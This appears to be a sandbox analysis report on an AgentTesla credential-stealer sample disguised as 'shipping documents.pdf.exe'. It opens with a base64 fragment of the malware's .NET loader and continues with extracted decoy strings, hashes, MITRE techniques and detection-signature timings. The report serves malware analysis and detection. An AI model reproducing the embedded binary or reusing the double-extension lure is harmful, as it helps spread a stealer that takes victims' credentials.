RkA5AItAbEA8wI0AbEA/AI9AbkAJwMpAbEAMQNFAbEANwNFAbEAPQNFAbkAQwNJAckAYANQAbkAhANXAbkA8gA5AKkAjAMpAdkAnQNsAeEArQNyAekA8gB3AekA3wN+AfEA9QOKAfkAEgSKAQEBIgSWAQkBVgScAQkA8gA5ABEA8gA5AC4ACwBHAC4AEwBQAC4AGwB1AC4AIwB+AC4AKwCQAC4AMwCQAC4AOwCQAC4AQwB+AC4ASwCWAC4AUwCQAC4AWwCQAC4AYwCzAC4AawDdAC4ASgDqAB4BYQGDAY8BpwFeAQAAAAABAAAAAAAAAAAAAAAAABIAAAACAAAAAAAAAAAAAAABADMAAAAAAAIAAAAAAAAAAAAAABEAkQAAAAAACAAAAAAAAAAAAAAAEQA0BAAAAAAAAABBTURfSXNvdG9wZXMuZGxsAEFNRF9Jc290b3BlcwA8TW9kdWxlPgBQcm9jZXNzb3JzAG1zY29ybGliAE9iamVjdABTeXN0ZW0AUG93ZXJlZEJ5QXR0cmlidXRlAFNtYXJ0QXNzZW1ibHkuQXR0cmlidXRlcwBBdHRyaWJ1dGUAWEFYQ0FTRABjNQBJTU1NTQBTeXN0ZW0uRHJhd2luZwBCaXRtYXAAQgBYQVhBWEFYAG1tAHh4AFN0YXJ0R2FtZQBDU0NTQ1ZEV0REAEVRAFdERkVHR0VHRUdHRQBjAFNBU0FTRldGAEJIAFZSVlYAS0oALmN0b3IAQ29tcGlsYXRpb25SZWxheGF0aW9uc0F0dHJpYnV0ZQBTeXN0ZW0uUnVudGltZS5Db21waWxlclNlcnZpY2VzAFJ1bnRpbWVDb21wYXRpYmlsaXR5QXR0cmlidXRlAERlYnVnZ2FibGVBdHRyaWJ1dGUAU3lzdGVtLkRpYWdub3N0aWNzAERlYnVnZ2luZ01vZGVzAEFzc2VtYmx5VGl0bGVBdHRyaWJ1dGUAU3lzdGVtLlJlZmxlY3Rpb24AQXNzZW1ibHlEZXNjcmlwdGlvbkF0dHJpYnV0ZQBBc3NlbWJseUNvbmZpZ3VyYXRpb25BdHRyaWJ1dGUAQXNzZW1ibHlDb21wYW55QXR0cmlidXRlAEFzc2VtYmx5UHJvZHVjdEF0dHJpYnV0ZQBBc3NlbWJseUNvcHlyaWdodEF0dHJpYnV0ZQBBc3NlbWJseVRyYWRlbWFya0F0dHJpYnV0ZQBDb21WaXNpYmxlQXR0cmlidXRlAFN5c3RlbS5SdW50aW1lLkludGVyb3BTZXJ2aWNlcwBHdWlkQXR0cmlidXRlAEFzc2VtYmx5RmlsZVZlcnNpb25BdHRyaWJ1dGUAQnl0ZQBCdWZmZXIAQmxvY2tDb3B5AEFycmF5AEltYWdlAGdldF9IZWlnaHQAR2V0UGl4ZWwAQ29sb3IARnJvbUFyZ2IAb3BfSW5lcXVhbGl0eQBBcnJheUxpc3QAU3lzdGVtLkNvbGxlY3Rpb25zAGdldF9Db3VudABnZXRfUgBnZXRfRwBnZXRfQgBJbnNlcnRSYW5nZQBJQ29sbGVjdGlvbgBUeXBlAEdldFR5cGVGcm9tSGFuZGxlAFJ1bnRpbWVUeXBlSGFuZGxlAFRvQXJyYXkAZ2V0X1dpZHRoAFN0cmluZwBDb25jYXQAQXNzZW1ibHkAR2V0RW50cnlBc3NlbWJseQBSZXNvdXJjZU1hbmFnZXIAU3lzdGVtLlJlc291cmNlcwBHZXRPYmplY3QARW52aXJvbm1lbnQARXhpdABUaHJlYWQAU3lzdGVtLlRocmVhZGluZwBTbGVlcABBcHBEb21haW4AZ2V0X0N1cnJlbnREb21haW4ATWljcm9zb2Z0LlZpc3VhbEJhc2ljAEludGVyYWN0aW9uAENhbGxCeU5hbWUAQ2FsbFR5cGUASW50MzIAACsuAFAAcgBvAHAAZQByAHQAaQBlAHMALgBSAGUAcwBvAHUAcgBjAGUAcwAACUwAbwBhAGQAABVFAG4AdAByAHkAUABvAGkAbgB0AAANSQBuAHYAbwBrAGUAAAD8ugYE1mibQ4CpUl7Wa0cUAAi3elxWGTTgiQYAAR0FHQUIsD9ffxHVCjoGAAEdBRINBgACEg0ODgUAAgEODgUAARwdBQQAARwcAyAAAQQgAQEOBCABAQgIAQAIAAAAAAAeAQABAFQCFldyYXBOb25FeGNlcHRpb25UaHJvd3MBBSABAREdCAEABwEAAAAAEQEADEFNRF9Jc290b3BlcwAABQEAAAAAFwEAEkNvcHlyaWdodCDCqSAgMjAyMAAABCABAQIpAQAkYjZjNGMyMjktMDg4Yi00M2E2LWEyMDItZGY2NThhZTQ4OGRiAAAMAQAHMS4wLjAuMAAAKAEAI1Bvd2VyZ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
lSystem.Resources.ResourceReader, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089#System.Resources.RuntimeResourceSet
PADPADP
lSystem.Resources.ResourceReader, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089#System.Resources.RuntimeResourceSet
PADPADP
RSDS<
C:\Users\Administrator\Desktop\Client\Temp\aKjADqnAwW\src\obj\Debug\RuYBIkytPaFzpQAfDd.pdb
_CorExeMain
mscoree.dll
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
<assemblyIdentity version="1.0.0.0" name="MyApplication.app"/>
<trustInfo xmlns="urn:schemas-microsoft-com:asm.v2">
<security>
<requestedPrivileges xmlns="urn:schemas-microsoft-com:asm.v3">
<requestedExecutionLevel level="asInvoker" uiAccess="false"/>
</requestedPrivileges>
</security>
</trustInfo>
</assembly>
U-5=EMU]dk
Fries
These are some fries
ner Pizza
Turkish Pizza
This is a turkish pizza
Vega Burger
This is a vegetarian hamburger
Double Cheeseburger
This is a double cheeseburger
Grilled Salmon
This is a grilled salmon
cbMenus
label1
Menu:
btnAddMenu
lstOrder
btnClearMenus
Clear
btnRemoveMenu
Remove
label2
Totalprice:
lblTotalPrice
OrderForm
gVHZLPOUSnQRiJfhXunuUmfYJPkHOHq
AMD_Isotopes.Processors
StartGame
WinformsSandbox
Form1
Group of Groups!
WinformsSandbox.Properties.Resources
unify2
DataSource
GroupsBindingList
SelectedGroupBindingList
SelectedGroupDataGrid
PersonName
GroupsDataGrid
GroupName
Group Name
Roboto
GroupsView
Groups
{Random Group:
Leonor Halberg
Emil Hardin
Fredda Tardif
Regenia Kearley
Antonietta Batie
Rikki Melnyk
Claire Younger
Mindy Smale
Fredricka Vining
Maribeth Corum
Dagmar Paulson
Ariane Rexroat
Kristyn Drakeford
Susan Debose
Marisol Felter
Lenore Costner
Mitch Tremblay
Madie Penn
Eduardo Gloster
Ardella Bongiorno
Gertude Sherburne
Basilia Leger
Brianna Fleener
Kristian Langlois
Billi Torgerson
Tawnya Berenbaum
Ma Fritze
Lilly Ketchum
Lourie Snook
Brice Spece
Zenia Wilke
Leland Mccaslin
Sanjuanita Slemp
Elwanda Nasser
Melody Cockerham
Roseann Mcgillis
Jesse Sheffield
Lavona Dolloff
Raisa Holst
Regan Schoenberg
Gearldine Pettry
Ilene Mahr
Mitchell Rethman
Britney Riddell
Signe Shuman
Valery Solie
Sherril Portwood
Moshe Lirette
Renata Rael
Jefferey Brendel
Vallie Eidt
Nadia Wine
Neomi Mole
Jannette Gambrell
Tomika Graeber
Ricki Purdom
Martine Tetrault
Dorotha Dashiell
Shaunda Demko
Nereida Chisum
Joy Besaw
Bernardine Winebrenner
Omega Segawa
Patrina Morones
Buddy Sowell
Mahalia Landrum
Fleta Luft
Helen Le
Darlene Borton
Lai Lamont
Winona Lapan
Annie Romero
Samantha Crone
Tamela Weatherwax
Denyse Bosket
Margurite Estabrook
Sebastian Hassell
Joshua Brittingham
Clay Hudspeth
Loriann Burditt
Keshia Poplawski
Karissa Paugh
Annamarie Drees
Tifany Johnosn
Essie Critchfield
Eleanore Bradeen
Deidre Chauez
Santo Limbaugh
Fermina Spinelli
Deonna Higby
Ute Fouts
Joesph Speno
Timothy Fritz
Irene Houze
Brock Lambright
Buffy Claybrooks
Jarod Hofstetter
Holley Mousseau
Bettye Soderberg
Tammera Strebel
Editing
Please, put price in correct format!
Please, fill in all fields!!!
groupBoxButtons
Microsoft Sans Serif
buttonCancel
Cancel
buttonSave
Adding Products:
textBoxSku
labelSku
SKU Number
labelCategory
Category
textBoxCategory
labelTM
Trade Mark
textBoxTM
labelPrName
Product Name
textBoxPrName
labelSupplier
Supplier
textBoxSupplier
labelPrice
Price, UAH
textBoxPrice
labelStoreUn
Storage Unite
textBoxStoreUn
labelProductDetails
Product Details
textBoxProductDetails
AddEditForm
Adding product
Product Editing:
dataGridView1
buttonAdd
Add Product
buttonEdit
Edit Product
button3
Delete Product
groupBox1
buttonExit
EditDeleteAddForm
Products Amending
buttonShow
Show products
buttonAmend
Amend Products
Arial Narrow
labelProducts
Products
labelCatalogue
Catalogue
MainForm
ProductsDirectory.xml
SKU Number =
, Category =
, Trade Mark =
,Product Name =
, Product Details =
, Supplier =
Price = {0}, Storage Unit = {1}
ShowForm
Show Products
gVHZLPOUSnQRiJfhXunuUmfYJPkHOHq
unify2
VS_VERSION_INFO
VarFileInfo
Translation
StringFileInfo
000004b0
Comments
CompanyName
FileDescription
Winform Sandbox
FileVersion
1.98.4.0
InternalName
RuYBIkytPaFzpQAfDd.exe
LegalCopyright
Copyright
2017 - 2020
LegalTrademarks
OriginalFilename
RuYBIkytPaFzpQAfDd.exe
ProductName
Winform Sandbox
ProductVersion
1.98.4.0
Assembly Version
1.98.4.0
No antivirus signatures available.
Sorry! No behavior.

Hosts

No hosts contacted.

TCP

No TCP connections recorded.

UDP

No UDP connections recorded.

DNS

No domains contacted.

HTTP Requests

No HTTP requests performed.

SMTP traffic

No SMTP traffic performed.

IRC traffic

No IRC requests performed.

ICMP traffic

No ICMP traffic performed.

CIF Results

No CIF Results

Suricata Alerts

No Suricata Alerts

Suricata TLS

No Suricata TLS

Suricata HTTP

No Suricata HTTP

Sorry! No dropped Suricata Extracted files.

JA3

No JA3 hashes found.

Sorry! No dropped files.
Sorry! No CAPE files.
Process Name shipping documents.pdf.exe
PID 5132
Dump Size 285696 bytes
Module Path C:\Users\Rebecca\AppData\Local\Temp\shipping documents.pdf.exe
Type PE image: 32-bit executable
PE timestamp 2020-06-24 16:05:27
MD5 fbd05eeca187e3ee57b464f81cf8c4ab
SHA1 d01ebd22e07c3c65aa4586a73f8e8df6ba836523
SHA256 f663c981e7cdd0007076c1b13b059f395eaff3e3141c2c8b1c05300970ffca12
CRC32 B229B31C
Ssdeep 3072:QHN6aNVEzKfaBWuOA4QDIczsDSUndZjHb8uweeibND6epWi6u246Oe++/OssF3Ab:QHAqEuCkEIIUdYzMBtUiI63s5si
CAPE Yara
  • AgentTeslaV2 Payload - Author: ditekshen
Dump Filename f663c981e7cdd0007076c1b13b059f395eaff3e3141c2c8b1c05300970ffca12
Download Download Zip
Defense Evasion Privilege Escalation
  • T1116 - Code Signing
    • Signature - invalid_authenticode_signature
  • T1055 - Process Injection
    • Signature - InjectionInterProcess
  • T1045 - Software Packing
    • Signature - packer_entropy
  • T1055 - Process Injection
    • Signature - InjectionInterProcess

    Processing ( 7.654999999999999 seconds )

    • 5.029 Suricata
    • 0.908 Static
    • 0.686 BehaviorAnalysis
    • 0.335 CAPE
    • 0.262 static_dotnet
    • 0.166 VirusTotal
    • 0.087 Deduplicate
    • 0.044 AnalysisInfo
    • 0.042 ProcDump
    • 0.042 TargetInfo
    • 0.018 NetworkAnalysis
    • 0.018 Strings
    • 0.009 peid
    • 0.008 Debug
    • 0.001 Dropped

    Signatures ( 1.107 seconds )

    • 0.294 antiav_detectreg
    • 0.103 territorial_disputes_sigs
    • 0.084 infostealer_ftp
    • 0.061 antianalysis_detectreg
    • 0.036 infostealer_im
    • 0.034 antiav_detectfile
    • 0.028 masquerade_process_name
    • 0.023 antivm_vbox_keys
    • 0.02 antianalysis_detectfile
    • 0.018 antivm_vmware_keys
    • 0.016 antivm_parallels_keys
    • 0.015 ransomware_files
    • 0.014 infostealer_bitcoin
    • 0.013 decoy_document
    • 0.013 stealth_timeout
    • 0.013 infostealer_mail
    • 0.012 api_spamming
    • 0.011 NewtWire Behavior
    • 0.011 antivm_generic_diskreg
    • 0.01 ransomware_extensions
    • 0.009 antivm_xen_keys
    • 0.008 kibex_behavior
    • 0.007 geodo_banking_trojan
    • 0.006 betabot_behavior
    • 0.006 antivm_vbox_files
    • 0.006 antivm_vpc_keys
    • 0.006 qulab_files
    • 0.006 recon_fingerprint
    • 0.005 Doppelganging
    • 0.005 antiemu_wine_func
    • 0.005 guloader_apis
    • 0.005 dynamic_function_loading
    • 0.005 exec_crash
    • 0.005 persistence_autorun
    • 0.005 antidbg_devices
    • 0.005 antivm_xen_keys
    • 0.005 antivm_hyperv_keys
    • 0.005 limerat_regkeys
    • 0.004 InjectionCreateRemoteThread
    • 0.004 Unpacker
    • 0.004 antivm_generic_disk
    • 0.004 antivm_generic_scsi
    • 0.004 malicious_dynamic_function_loading
    • 0.004 network_tor
    • 0.004 antivm_generic_system
    • 0.004 antivm_vmware_files
    • 0.004 predatorthethief_files
    • 0.003 InjectionProcessHollowing
    • 0.003 antidebug_guardpages
    • 0.003 exploit_heapspray
    • 0.003 hawkeye_behavior
    • 0.003 infostealer_browser_password
    • 0.003 injection_createremotethread
    • 0.003 injection_runpe
    • 0.003 kovter_behavior
    • 0.003 mimics_filetime
    • 0.003 blackrat_registry_keys
    • 0.003 reads_self
    • 0.003 recon_programs
    • 0.003 shifu_behavior
    • 0.003 virus
    • 0.003 antivm_generic_bios
    • 0.003 bypass_firewall
    • 0.003 warzonerat_regkeys
    • 0.003 remcos_regkeys
    • 0.002 InjectionInterProcess
    • 0.002 antiav_avast_libs
    • 0.002 antivm_generic_services
    • 0.002 antivm_vbox_libs
    • 0.002 bootkit
    • 0.002 exploit_getbasekerneladdress
    • 0.002 kazybot_behavior
    • 0.002 OrcusRAT Behavior
    • 0.002 stack_pivot
    • 0.002 stealth_file
    • 0.002 tinba_behavior
    • 0.002 vawtrak_behavior
    • 0.002 ketrican_regkeys
    • 0.002 browser_security
    • 0.002 darkcomet_regkeys
    • 0.002 disables_browser_warn
    • 0.002 masslogger_files
    • 0.002 medusalocker_regkeys
    • 0.002 revil_mutexes
    • 0.002 rat_pcclient
    • 0.001 PlugX
    • 0.001 antiav_bitdefender_libs
    • 0.001 antiav_bullgaurd_libs
    • 0.001 antiav_emsisoft_libs
    • 0.001 antiav_qurb_libs
    • 0.001 antidbg_windows
    • 0.001 antiav_apioverride_libs
    • 0.001 antiav_nthookengine_libs
    • 0.001 antisandbox_sboxie_libs
    • 0.001 antisandbox_sunbelt_libs
    • 0.001 uac_bypass_eventvwr
    • 0.001 cerber_behavior
    • 0.001 exploit_gethaldispatchtable
    • 0.001 hancitor_behavior
    • 0.001 infostealer_browser
    • 0.001 office_com_load
    • 0.001 rat_nanocore
    • 0.001 antisandbox_cuckoo_files
    • 0.001 antisandbox_fortinet_files
    • 0.001 antisandbox_joe_anubis_files
    • 0.001 antisandbox_sunbelt_files
    • 0.001 antisandbox_threattrack_files
    • 0.001 antivm_generic_cpu
    • 0.001 antivm_vbox_devices
    • 0.001 banker_zeus_mutex
    • 0.001 bot_drive
    • 0.001 modify_proxy
    • 0.001 codelux_behavior
    • 0.001 azorult_mutexes
    • 0.001 network_tor_service
    • 0.001 office_perfkey
    • 0.001 packer_armadillo_regkey
    • 0.001 nemty_regkeys
    • 0.001 satan_mutexes
    • 0.001 dcrat_files
    • 0.001 modirat_bheavior
    • 0.001 obliquerat_files
    • 0.001 rat_spynet
    • 0.001 warzonerat_files
    • 0.001 remcos_files
    • 0.001 sniffer_winpcap
    • 0.001 tampers_etw
    • 0.001 targeted_flame
    • 0.001 lokibot_mutexes

    Reporting ( 17.326 seconds )

    • 15.461 BinGraph
    • 1.67 JsonDump
    • 0.124 SubmitCAPE
    • 0.071 MITRE_TTPS